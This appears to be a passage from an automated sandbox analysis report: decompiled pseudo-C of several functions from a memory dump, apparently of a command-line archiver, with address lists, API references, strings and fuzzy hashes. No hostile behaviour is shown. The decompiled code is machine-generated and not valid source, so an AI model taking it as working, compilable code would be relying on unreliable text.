											_t129 =  *(_t188 + 0xc4);
											asm("sbb edi, [ebp+0x10]");
											__eflags =  *(_t188 + 0xb8);
											 *((intOrPtr*)(_t188 + 0xc8)) = _t161 -  *((intOrPtr*)(_t190 + 0xc));
											 *(_t188 + 0xcc) = _t129;
											if( *(_t188 + 0xb8) != 0) {
												_t141 =  *((intOrPtr*)(_t188 + 0xb0));
												_t180 =  *(_t188 + 0xb4);
												_t186 = _t141 +  *((intOrPtr*)(_t190 + 0xc));
												 *(_t190 - 0x10) = _t180;
												asm("adc edx, [ebp+0x10]");
												__eflags = _t180 - _t129;
												if(__eflags > 0) {
													L29:
													 *((char*)(_t188 + 0x11)) = 1;
												} else {
													if(__eflags < 0) {
														L25:
														 *((intOrPtr*)(_t188 + 0xc8)) = _t141;
														 *((intOrPtr*)(_t188 + 0x20)) = _t161 - _t186;
														asm("sbb eax, edx");
														 *(_t188 + 0xcc) =  *(_t190 - 0x10);
														 *((char*)(_t188 + 0x10)) = 1;
														 *(_t188 + 0x24) = _t129;
													} else {
														__eflags = _t186 - _t161;
														if(_t186 >= _t161) {
															__eflags = _t180 - _t129;
															if(__eflags >= 0) {
																if(__eflags > 0) {
																	goto L29;
																} else {
																	__eflags = _t186 - _t161;
																	if(_t186 > _t161) {
																		goto L29;
																	}
																}
															}
														} else {
															goto L25;
														}
													}
												}
											}
											goto L30;
										}
									}
								} else {
									__eflags =  *(_t188 + 0x13);
									if( *(_t188 + 0x13) == 0) {
										L30:
										_t126 = 0;
										__eflags = 0;
									} else {
										__eflags =  *(_t188 + 0x14) & 0x00000001;
										if(( *(_t188 + 0x14) & 0x00000001) != 0) {
											goto L30;
										} else {
											goto L19;
										}
									}
								}
							} else {
								E01238173(_t190 - 0x24);
								_t126 =  *(_t190 - 0x10);
							}
						} else {
							E01238173(_t190 - 0x24);
							_t126 =  *(_t190 - 0x10);
						}
					} else {
						E01238173(_t190 - 0x24);
						_t126 =  *(_t190 - 0x10);
					}
				} else {
					E01238173(_t190 - 0x24);
					_t126 =  *(_t190 - 0x10);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t190 - 0xc));
				return _t126;
			}

0x0124e414
0x0124e41e
0x0124e423
0x0124e42f
0x0124e435
0x0124e43b
0x0124e43d
0x0124e446
0x0124e44b
0x0124e44e
0x0124e451
0x0124e457
0x0124e460
0x0124e465
0x0124e469
0x0124e46d
0x0124e470
0x0124e47c
0x0124e47f
0x0124e484
0x0124e487
0x0124e4a7
0x0124e4aa
0x0124e4af
0x0124e4b3
0x0124e4b7
0x0124e4ba
0x0124e4c6
0x0124e4cd
0x0124e4d0
0x0124e4d2
0x0124e4d5
0x0124e4f4
0x0124e4f7
0x0124e4fc
0x0124e500
0x0124e504
0x0124e507
0x0124e513
0x0124e51a
0x0124e51d
0x0124e51f
0x0124e522
0x0124e534
0x0124e538
0x0124e53a
0x0124e53f
0x0124e542
0x0124e544
0x0124e544
0x0124e54d
0x0124e54d
0x0124e555
0x0124e55a
0x0124e55e
0x0124e562
0x0124e565
0x0124e571
0x0124e578
0x0124e57b
0x0124e57d
0x0124e580
0x0124e592
0x0124e596
0x0124e598
0x0124e59d
0x0124e5a0
0x0124e5a2
0x0124e5a2
0x0124e5ab
0x0124e5ab
0x0124e5b0
0x0124e5b7
0x0124e5bc
0x0124e5bf
0x0124e5d4
0x0124e5dd
0x0124e5e4
0x0124e5e7
0x0124e5e8
0x0124e5ed
0x0124e5ef
0x0124e5fb
0x0124e5fc
0x0124e5ff
0x0124e600
0x0124e605
0x0124e607
0x0124e615
0x0124e618
0x0124e61b
0x0124e624
0x0124e631
0x0124e634
0x0124e63a
0x0124e640
0x0124e646
0x0124e648
0x0124e656
0x0124e659
0x0124e65c
0x0124e65f
0x0124e662
0x0124e664
0x0124e695
0x0124e695
0x0124e666
0x0124e666
0x0124e66c
0x0124e66e
0x0124e677
0x0124e67a
0x0124e67c
0x0124e682
0x0124e686
0x0124e668
0x0124e668
0x0124e66a
0x0124e68b
0x0124e68d
0x0124e68f
0x00000000
0x0124e691
0x0124e691
0x0124e693
0x00000000
0x00000000
0x0124e693
0x0124e68f
0x00000000
0x00000000
0x00000000
0x0124e66a
0x0124e666
0x0124e664
0x00000000
0x0124e646
0x0124e607
0x0124e5c1
0x0124e5c1
0x0124e5c4
0x0124e699
0x0124e699
0x0124e699
0x0124e5ca
0x0124e5ca
0x0124e5ce
0x00000000
0x00000000
0x00000000
0x00000000
0x0124e5ce
0x0124e5c4
0x0124e582
0x0124e585
0x0124e58a
0x0124e58a
0x0124e524
0x0124e527
0x0124e52c
0x0124e52c
0x0124e4d7
0x0124e4da
0x0124e4df
0x0124e4df
0x0124e489
0x0124e48c
0x0124e491
0x0124e491
0x0124e6a1
0x0124e6a9

APIs

__EH_prolog.LIBCMT ref: 0124E414

Strings

Unknown warning, xrefs: 0124E5A2, 0124E5A7
Unknown error, xrefs: 0124E544, 0124E549

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID: Unknown error$Unknown warning
API String ID: 3519838083-4291957651
Opcode ID: a5115272825a26835220f78d0f2ef53fa63fd30c80e26e6f6d9b3d6da8db72f1
Instruction ID: 3b7f7d166025e9520328fa4340c1632ea23ea631986f09a89e0136af105c3b41
Opcode Fuzzy Hash: a5115272825a26835220f78d0f2ef53fa63fd30c80e26e6f6d9b3d6da8db72f1
Instruction Fuzzy Hash: F3913DB191020ACFDB28DFA8C980AEEBBF5BF58300F50455DE55AA7290D774AA48CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0126196E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0126196E(intOrPtr* __ecx) {
				signed int _v5;
				unsigned int _v12;
				long _v16;
				unsigned int _v20;
				char _v52;
				void* __edi;
				intOrPtr _t84;
				intOrPtr _t85;
				unsigned int _t101;
				signed char* _t102;
				unsigned int _t104;
				char** _t130;
				char* _t172;
				intOrPtr* _t173;
				intOrPtr* _t175;
				signed char _t200;

				_t175 = __ecx;
				_t172 = 0;
				_v16 = 0;
				if( *((intOrPtr*)(__ecx + 0x30)) != 0) {
					_v16 = GetTickCount();
				}
				_v5 = _v5 & 0x00000000;
				if( *((intOrPtr*)(_t175 + 0x48)) == _t172) {
					L14:
					_t130 = _t175 + 0x38;
					_t130[1] = _t172;
					 *( *(_t175 + 0x38)) =  *( *(_t175 + 0x38)) & 0x00000000;
					E012618D2(_t175);
					if(_v5 == 0) {
						L16:
						E0123240D(_t175 + 0x98, _t130);
						_t82 =  *(_t175 + 0x10);
						_t165 =  *(_t175 + 0x14);
						if(( *(_t175 + 0x10) |  *(_t175 + 0x14)) != 0) {
							E012315CA( &_v52, _t82, _t165);
							E01231B5E(_t130, 0x20);
							E012324DB(_t130,  &_v52);
						}
						_t191 =  *((intOrPtr*)(_t175 + 0x1c)) - _t172;
						if( *((intOrPtr*)(_t175 + 0x1c)) != _t172) {
							E01231B5E(_t130, 0x20);
							E0123251D(_t130, _t191, _t175 + 0x18);
						}
						if( *((intOrPtr*)(_t175 + 0x28)) != _t172 &&  *((intOrPtr*)(_t175 + 0x3c)) <  *((intOrPtr*)(_t175 + 0xac))) {
							E01231B5E(_t130, 0x20);
							_t174 = _t175 + 0x5c;
							E01232A8C(_t175 + 0x5c, _t175 + 0x24);
							E01231DE0( *(_t175 + 0xa4), _t175 + 0x5c);
							E01231D5C(_t175 + 0x5c, _t175 + 0x50);
							if( *(_t175 + 0x54) +  *((intOrPtr*)(_t175 + 0x3c)) >  *((intOrPtr*)(_t175 + 0xac))) {
								_t101 =  *((intOrPtr*)(_t175 + 0x28));
								_v12 = _t101;
								if(_t101 == 0) {
									L29:
									_t102 =  *(_t175 + 0x50);
									 *(_t175 + 0x54) =  *(_t175 + 0x54) & 0x00000000;
									 *_t102 =  *_t102 & 0x00000000;
									_t200 =  *_t102;
								} else {
									do {
										_t104 = _v12 >> 3;
										if(_t104 == 0) {
											_t104 = 1;
										}
										_v12 = _v12 - _t104;
										E01232A8C(_t174, _t175 + 0x24);
										_v20 = _v12 >> 1;
										E01233005(_t174, _v12 >> 1,  *((intOrPtr*)(_t175 + 0x60)) - _v12);
										E01232E6E(_t174, _v20, L" . ");
										E01231DE0( *(_t175 + 0xa4), _t174);
										E01231D5C(_t174, _t175 + 0x50);
									} while ( *(_t175 + 0x54) +  *((intOrPtr*)(_t175 + 0x3c)) >  *((intOrPtr*)(_t175 + 0xac)) && _v12 != 0);
									if(_v12 == 0) {
										goto L29;
									}
								}
							}
							E0123251D(_t130, _t200, _t175 + 0x50);
							_t172 = 0;
						}
						if(E01261BCB(_t175 + 0x44, _t130) != 0) {
							E0126183F(_t175, _t172, _t172);
							_t173 = _t175 + 0xa4;
							fputs( *_t130,  *( *(_t175 + 0xa4)));
							if( *((char*)(_t175 + 0xa8)) != 0) {
								E01231C9F( *_t173);
							}
							E0123240D(_t175 + 0x44, _t130);
							_t172 = 0;
						}
						_t84 = E01261BE9(_t175 + 0x68, _t175);
						if( *((intOrPtr*)(_t175 + 0x30)) != _t172) {
							_t85 = _v16;
							 *((intOrPtr*)(_t175 + 0x34)) = _t85;
							return _t85;
						}
					} else {
						_t84 = E012325DD(_t130, _t175 + 0x98);
						if(_t84 == 0) {
							goto L16;
						}
					}
				} else {
					_t84 =  *((intOrPtr*)(_t175 + 0x30));
					if(_t84 == _t172 || _v16 -  *((intOrPtr*)(_t175 + 0x34)) >= _t84) {
						if(E012325DD(_t175 + 0x80, _t175 + 0x18) == 0 || E01232FAE(_t175 + 0x8c, _t175 + 0x24) == 0 ||  *((intOrPtr*)(_t175 + 0x78)) !=  *(_t175 + 0x10) ||  *((intOrPtr*)(_t175 + 0x7c)) !=  *(_t175 + 0x14)) {
							goto L14;
						} else {
							if( *((intOrPtr*)(_t175 + 0x70)) !=  *((intOrPtr*)(_t175 + 8)) ||  *((intOrPtr*)(_t175 + 0x74)) !=  *((intOrPtr*)(_t175 + 0xc)) ||  *((intOrPtr*)(_t175 + 0x68)) !=  *_t175) {
								L13:
								_v5 = 1;
								goto L14;
							} else {
								_t84 =  *((intOrPtr*)(_t175 + 0x6c));
								if(_t84 !=  *((intOrPtr*)(_t175 + 4))) {
									goto L13;
								}
							}
						}
					}
				}
				return _t84;
			}

0x01261977
0x01261979
0x0126197e
0x01261981
0x01261989
0x01261989
0x0126198c
0x01261993
0x01261a05
0x01261a08
0x01261a0d
0x01261a10
0x01261a13
0x01261a1c
0x01261a33
0x01261a3a
0x01261a3f
0x01261a42
0x01261a49
0x01261a50
0x01261a59
0x01261a64
0x01261a64
0x01261a69
0x01261a6c
0x01261a72
0x01261a7d
0x01261a7d
0x01261a85
0x01261a9e
0x01261aa6
0x01261aac
0x01261ab8
0x01261ac2
0x01261ad3
0x01261ad9
0x01261ade
0x01261ae1
0x01261b52
0x01261b52
0x01261b55
0x01261b59
0x01261b59
0x01261ae3
0x01261ae3
0x01261ae6
0x01261ae9
0x01261aed
0x01261aed
0x01261aee
0x01261af7
0x01261b0b
0x01261b0e
0x01261b1d
0x01261b29
0x01261b33
0x01261b3e
0x01261b50
0x00000000
0x00000000
0x01261b50
0x01261ae1
0x01261b62
0x01261b67
0x01261b67
0x01261b75
0x01261b7a
0x01261b85
0x01261b8f
0x01261b9e
0x01261ba2
0x01261ba2
0x01261bab
0x01261bb0
0x01261bb0
0x01261bb6
0x01261bbe
0x01261bc0
0x01261bc3
0x00000000
0x01261bc3
0x01261a1e
0x01261a26
0x01261a2d
0x00000000
0x00000000
0x01261a2d
0x01261995
0x01261995
0x0126199a
0x012619ba
0x00000000
0x012619de
0x012619e4
0x01261a01
0x01261a01
0x00000000
0x012619f5
0x012619f5
0x012619fb
0x00000000
0x00000000
0x012619fb
0x012619e4
0x012619ba
0x0126199a
0x01261bca

APIs

GetTickCount.KERNEL32 ref: 01261983
fputs.MSVCRT ref: 01261B8F

Strings

. , xrefs: 01261B13

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CountTickfputs
String ID: .
API String ID: 290905099-4150638102
Opcode ID: 4c4602b8ea195799d9c7af3dcf9560be5f8d37f376edbf134db89b0684eb5622
Instruction ID: 172f6d96f31b7458bd7094cf437d2671a3ba723d99041beefbd87a7d978342ad
Opcode Fuzzy Hash: 4c4602b8ea195799d9c7af3dcf9560be5f8d37f376edbf134db89b0684eb5622
Instruction Fuzzy Hash: B7714A70620B469FDB25EF68C590ABEB7FAAFD0304F00485DD19787690EB70B999CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0123CD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0123CD40(void* __ecx, intOrPtr* __edx) {
				void* __edi;
				void* __esi;
				signed int _t77;
				void* _t91;
				void* _t94;
				void* _t100;
				void* _t104;
				signed int _t119;
				signed int _t131;
				signed int _t138;
				intOrPtr _t142;
				void* _t145;
				intOrPtr* _t157;
				void* _t163;
				void* _t165;
				void* _t166;

				E012639E0(E01264B0A, _t163);
				_t166 = _t165 - 0xc0;
				 *(_t163 - 0x10) =  *(_t163 - 0x10) & 0x00000000;
				_t157 = __edx;
				_t145 = __ecx;
				 *((intOrPtr*)(_t163 - 0x14)) = __edx;
				 *(_t163 - 0x18) = __ecx;
				if( *((intOrPtr*)(__edx + 4)) <= 0) {
					L19:
					_t77 =  *(_t163 - 0x10);
					_t172 = _t77 -  *((intOrPtr*)(_t157 + 4));
					if(_t77 !=  *((intOrPtr*)(_t157 + 4))) {
						_push( *((intOrPtr*)( *((intOrPtr*)( *_t157 + _t77 * 4)))));
						_push("incorrect update switch command");
						E01248A22(_t163 - 0x30, _t172);
						_t77 = _t163 - 0x30;
						_push(0x126ded0);
						_push(_t77);
						L01263CAC();
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t163 - 0xc));
					return _t77;
				} else {
					goto L1;
				}
				do {
					L1:
					_t142 =  *0x126869c; // 0x12686f0
					_t112 =  *((intOrPtr*)( *_t157 +  *(_t163 - 0x10) * 4));
					if(E01232075( *((intOrPtr*)( *((intOrPtr*)( *_t157 +  *(_t163 - 0x10) * 4)))), _t142) == 0) {
						_t119 = 7;
						memcpy(_t163 - 0x4c,  *(_t163 + 8), _t119 << 2);
						_t166 = _t166 + 0xc;
						E012328E9(_t163 - 0x24);
						 *(_t163 - 4) = 0;
						__eflags = E0123CF2D(_t112, _t163 - 0x4c, _t163 - 0x24);
						if(__eflags == 0) {
							 *(_t163 - 4) =  *(_t163 - 4) | 0xffffffff;
							_push( *((intOrPtr*)(_t163 - 0x24)));
							L16:
							E01231ABD(_t85);
							L18:
							_t157 =  *((intOrPtr*)(_t163 - 0x14));
							goto L19;
						}
						__eflags =  *(_t163 - 0x20);
						if( *(_t163 - 0x20) != 0) {
							_t85 =  *((intOrPtr*)(_t163 - 0x24));
							__eflags =  *_t85 - 0x21;
							if( *_t85 != 0x21) {
								_t59 = _t163 - 4;
								 *_t59 =  *(_t163 - 4) | 0xffffffff;
								__eflags =  *_t59;
								_push(_t85);
								goto L16;
							}
							E012328E9(_t163 - 0xcc);
							 *(_t163 - 4) = 1;
							E0123CC7B(_t163 - 0xc0);
							 *(_t163 - 4) = 2;
							_t91 = E0123292C(_t163 - 0x30,  *((intOrPtr*)(_t163 - 0x24)) + 2);
							__eflags =  *(_t163 - 0x2c);
							 *(_t163 - 4) = 3;
							if( *(_t163 - 0x2c) == 0) {
								E01231ABD(_t91,  *(_t163 - 0x30));
								_t94 = E01231ABD(E0123CCEC(_t163 - 0xc0),  *((intOrPtr*)(_t163 - 0xcc)));
								_t65 = _t163 - 4;
								 *_t65 =  *(_t163 - 4) | 0xffffffff;
								__eflags =  *_t65;
								E01231ABD(_t94,  *((intOrPtr*)(_t163 - 0x24)));
								goto L18;
							}
							E01232A8C(_t163 - 0xcc, _t163 - 0x30);
							_t161 = _t163 - 0x4c;
							_t131 = 7;
							_push(_t163 - 0xcc);
							_t100 = memcpy(_t163 - 0x68, _t163 - 0x4c, _t131 << 2);
							_t166 = _t166 + 0xc;
							E01231ABD(E0123D290(_t100 + 0x38, _t163 - 0x4c + _t131 + _t131, _t161),  *(_t163 - 0x30));
							_t104 = E01231ABD(E0123CCEC(_t163 - 0xc0),  *((intOrPtr*)(_t163 - 0xcc)));
							L11:
							_t48 = _t163 - 4;
							 *_t48 =  *(_t163 - 4) | 0xffffffff;
							__eflags =  *_t48;
							E01231ABD(_t104,  *((intOrPtr*)(_t163 - 0x24)));
							_t157 =  *((intOrPtr*)(_t163 - 0x14));
							_t145 =  *(_t163 - 0x18);
							goto L12;
						}
						_t104 =  *(_t163 - 0x18);
						__eflags =  *((char*)(_t104 + 0x44));
						if( *((char*)(_t104 + 0x44)) != 0) {
							_t138 = 7;
							_t104 = memcpy( *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x38)))) + 0x64, _t163 - 0x4c, _t138 << 2);
							_t166 = _t166 + 0xc;
						}
						goto L11;
					} else {
						if( *(_t145 + 0x44) != 0) {
							 *(_t145 + 0x44) =  *(_t145 + 0x44) & 0x00000000;
							E0123D332(_t145 + 0x38, 0);
						}
					}
					L12:
					 *(_t163 - 0x10) =  *(_t163 - 0x10) + 1;
				} while ( *(_t163 - 0x10) <  *((intOrPtr*)(_t157 + 4)));
				goto L19;
			}

0x0123cd45
0x0123cd4a
0x0123cd50
0x0123cd56
0x0123cd59
0x0123cd5f
0x0123cd62
0x0123cd65
0x0123cef2
0x0123cef2
0x0123cef5
0x0123cef8
0x0123cf02
0x0123cf04
0x0123cf09
0x0123cf0e
0x0123cf11
0x0123cf16
0x0123cf17
0x0123cf17
0x0123cf22
0x0123cf2a
0x00000000
0x00000000
0x00000000
0x0123cd6b
0x0123cd6b
0x0123cd70
0x0123cd76
0x0123cd82
0x0123cda6
0x0123cdaa
0x0123cdaa
0x0123cdaf
0x0123cdbf
0x0123cdc7
0x0123cdc9
0x0123cead
0x0123ceb1
0x0123cebb
0x0123cebb
0x0123ceee
0x0123ceee
0x00000000
0x0123cef1
0x0123cdcf
0x0123cdd2
0x0123cdf6
0x0123cdf9
0x0123cdfd
0x0123ceb6
0x0123ceb6
0x0123ceb6
0x0123ceba
0x00000000
0x0123ceba
0x0123ce09
0x0123ce14
0x0123ce18
0x0123ce26
0x0123ce2b
0x0123ce30
0x0123ce33
0x0123ce37
0x0123cec5
0x0123cedc
0x0123cee4
0x0123cee4
0x0123cee4
0x0123cee8
0x00000000
0x0123ceed
0x0123ce47
0x0123ce52
0x0123ce5a
0x0123ce5b
0x0123ce5f
0x0123ce5f
0x0123ce6c
0x0123ce83
0x0123ce89
0x0123ce8c
0x0123ce8c
0x0123ce8c
0x0123ce90
0x0123ce95
0x0123ce98
0x00000000
0x0123ce9b
0x0123cdd4
0x0123cdd7
0x0123cddb
0x0123cde6
0x0123cdef
0x0123cdef
0x0123cdef
0x00000000
0x0123cd84
0x0123cd88
0x0123cd8e
0x0123cd97
0x0123cd97
0x0123cd88
0x0123ce9c
0x0123ce9c
0x0123cea2
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0123CD45
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123CF17

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

incorrect update switch command, xrefs: 0123CF04

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionH_prologThrowfree
String ID: incorrect update switch command
API String ID: 2564996034-2497410926
Opcode ID: 63f943ae6a5557090eb3a19045e04fbc590bcb3dc4c6d7f253ea701d1a19081c
Instruction ID: 02de9a79a8c00f9e0c70b9c0d97c355a8b305fa74ad701c5cc0dbbe2d7a657cf
Opcode Fuzzy Hash: 63f943ae6a5557090eb3a19045e04fbc590bcb3dc4c6d7f253ea701d1a19081c
Instruction Fuzzy Hash: 775159B2C2025ADBDF25EB98C940BEDBBB5BF94310F10418AE515B7290CB706E55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 012341F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E012341F4(intOrPtr* __ecx) {
				intOrPtr* _t16;
				void* _t17;
				intOrPtr _t26;
				void* _t33;
				intOrPtr _t37;
				intOrPtr* _t48;

				_t48 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					L4:
					return 0;
				}
				if(E01233E8C( *((intOrPtr*)( *((intOrPtr*)( *__ecx))))) != 0) {
					L2:
					_push(1);
					L15:
					_pop(_t17);
					return _t17;
				}
				_t16 =  *__ecx;
				if( *((intOrPtr*)( *_t16 + 4)) != 0) {
					goto L4;
				}
				_t37 =  *((intOrPtr*)(__ecx + 4));
				if(_t37 == 1 ||  *((intOrPtr*)( *((intOrPtr*)(_t16 + 4)) + 4)) != 0) {
					goto L2;
				}
				_t33 = 2;
				if(_t37 == _t33) {
					L18:
					return _t33;
				}
				if(wcscmp( *( *(_t16 + 8)), ".") == 0) {
					L14:
					_push(3);
					goto L15;
				}
				if(wcscmp( *( *( *_t48 + 8)), "?") == 0) {
					if( *((intOrPtr*)(_t48 + 4)) == 3) {
						goto L14;
					}
					if(E01233E8C( *((intOrPtr*)( *((intOrPtr*)( *_t48 + 0xc))))) != 0) {
						_push(4);
						goto L15;
					}
					if(E012320D0( *((intOrPtr*)( *((intOrPtr*)( *_t48 + 0xc)))), "UNC") == 0) {
						goto L14;
					}
					_t33 = 4;
				}
				_t26 =  *((intOrPtr*)(_t48 + 4));
				_t33 = _t33 + 1;
				if(_t26 > _t33) {
					goto L18;
				}
				return _t26;
			}

0x012341f7
0x012341fe
0x0123421f
0x00000000
0x0123421f
0x0123420d
0x0123420f
0x0123420f
0x0123429c
0x0123429c
0x00000000
0x0123429c
0x01234216
0x0123421d
0x00000000
0x00000000
0x01234226
0x0123422c
0x00000000
0x00000000
0x01234238
0x0123423b
0x012342aa
0x00000000
0x012342aa
0x01234254
0x0123429a
0x0123429a
0x00000000
0x0123429a
0x01234269
0x0123426f
0x00000000
0x00000000
0x0123427f
0x01234281
0x00000000
0x01234281
0x01234298
0x00000000
0x00000000
0x012342a1
0x012342a1
0x012342a2
0x012342a5
0x012342a8
0x00000000
0x00000000
0x012342af

APIs

wcscmp.MSVCRT ref: 0123424E
wcscmp.MSVCRT ref: 01234263

Strings

UNC, xrefs: 01234287

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wcscmp
String ID: UNC
API String ID: 3392835482-337201128
Opcode ID: ae14576a51d2f11942b5e363045dfad9fd32f30d0eb460ea5af20f90a4258cc3
Instruction ID: d6ef935566512cb55bdaecc576ad4f99defbc421c0aeec2ec6489db7db28dae1
Opcode Fuzzy Hash: ae14576a51d2f11942b5e363045dfad9fd32f30d0eb460ea5af20f90a4258cc3
Instruction Fuzzy Hash: 702184B53206828FE624EF9DD894E21B3E5EFC561071584EAE745AF391CA71EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012618D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E012618D2(intOrPtr* __ecx) {
				char _v5;
				char _v40;
				intOrPtr _t19;
				void* _t23;
				signed int _t29;
				void* _t30;
				void* _t41;
				signed int _t43;
				void* _t44;
				void* _t45;
				intOrPtr* _t46;
				void* _t47;

				_t46 = __ecx;
				_t19 = 0;
				_t42 = 0;
				_t43 =  *(__ecx + 8);
				_t29 =  *(__ecx + 0xc);
				_v5 = 0x25;
				if((_t43 & _t29) != 0xffffffff) {
					if((_t43 | _t29) != 0) {
						_t19 = E01263B80(E01263D00( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0), 0, _t43, _t29);
					}
				} else {
					_t42 =  *((intOrPtr*)(__ecx + 4));
					_t41 = 0x14;
					_t19 = E01263C70( *__ecx, _t41,  *((intOrPtr*)(__ecx + 4)));
					_v5 = 0x4d;
				}
				E012315CA( &_v40, _t19, _t42);
				_t23 = strlen( &_v40) + 1;
				 *((char*)(_t47 + _t23 - 0x25)) = _v5;
				 *(_t47 + _t23 - 0x24) =  *(_t47 + _t23 - 0x24) & 0x00000000;
				_t44 = 4;
				if(_t23 >= _t44) {
					L7:
					return E012324DB(_t46 + 0x38,  &_v40);
				} else {
					_t30 = _t46 + 0x38;
					_t45 = _t44 - _t23;
					do {
						E01231B5E(_t30, 0x20);
						_t45 = _t45 - 1;
					} while (_t45 != 0);
					goto L7;
				}
			}

0x012618da
0x012618dd
0x012618df
0x012618e1
0x012618e4
0x012618e9
0x012618f2
0x0126190b
0x0126191f
0x0126191f
0x012618f4
0x012618f6
0x012618fb
0x012618fc
0x01261901
0x01261901
0x01261929
0x01261938
0x0126193e
0x01261942
0x01261947
0x0126194a
0x0126195d
0x0126196d
0x0126194c
0x0126194c
0x0126194f
0x01261951
0x01261955
0x0126195a
0x0126195a
0x00000000
0x01261951

APIs

__aulldiv.LIBCMT ref: 0126191F
strlen.MSVCRT ref: 01261932

Strings

M, xrefs: 01261901

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: __aulldivstrlen
String ID: M
API String ID: 1892184250-3664761504
Opcode ID: df11962cb6fbe8ebe1ad44703ea8e2feb80c3c52f9ce9c4929b45e0229628e53
Instruction ID: 85393f73f170401f93f1bc31c819ab06b92d07d62c348b66d142ed547eba65b6
Opcode Fuzzy Hash: df11962cb6fbe8ebe1ad44703ea8e2feb80c3c52f9ce9c4929b45e0229628e53
Instruction Fuzzy Hash: 9C1134722203856ADB25DAB8CC80FBEB7EDDBD8314F24482DE382A31C0D571B8848320

Uniqueness

Uniqueness Score: -1.00%

Function 0123D09F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0123D09F(intOrPtr* __ecx, signed int __edx) {
				signed int _t29;
				void* _t30;
				intOrPtr _t37;
				void* _t42;
				intOrPtr _t45;
				intOrPtr _t58;
				intOrPtr* _t60;
				intOrPtr _t61;
				void* _t63;

				E012639E0(E01264B38, _t63);
				_t45 =  *__ecx;
				_t29 = __edx + __edx * 4;
				_push(_t60);
				_t30 = _t45 + _t29 * 4;
				if( *((char*)(_t45 + _t29 * 4)) != 0) {
					E012329BC(_t63 - 0x18, __eflags,  *((intOrPtr*)( *((intOrPtr*)(_t30 + 8)) +  *(_t30 + 0xc) * 4 - 4)));
					_t58 = 0;
					 *((intOrPtr*)(_t63 - 4)) = 0;
					_t33 = E0123B942( *((intOrPtr*)(_t63 - 0x18)), _t63 + 0xc);
					__eflags = _t33;
					if(_t33 == 0) {
						L4:
						E01231FB5( *((intOrPtr*)(_t63 - 0x18)));
						asm("sbb ebx, ebx");
						_t42 = ( ~( *(_t63 + 8)) & 0xfffffffe) + 5;
						__eflags = _t42;
						if(__eflags == 0) {
							L8:
							_push( *((intOrPtr*)(_t63 - 0x18)));
							_push("Unsupported charset:");
							E01248A22(_t63 - 0x24, __eflags);
							_t33 = _t63 - 0x24;
							_push(0x126ded0);
							_push(_t63 - 0x24);
							L01263CAC();
						} else {
							_t60 = 0x12686a0;
							while(1) {
								_t33 = E01232075( *((intOrPtr*)(_t63 - 0x18)),  *_t60);
								__eflags = _t33;
								if(_t33 != 0) {
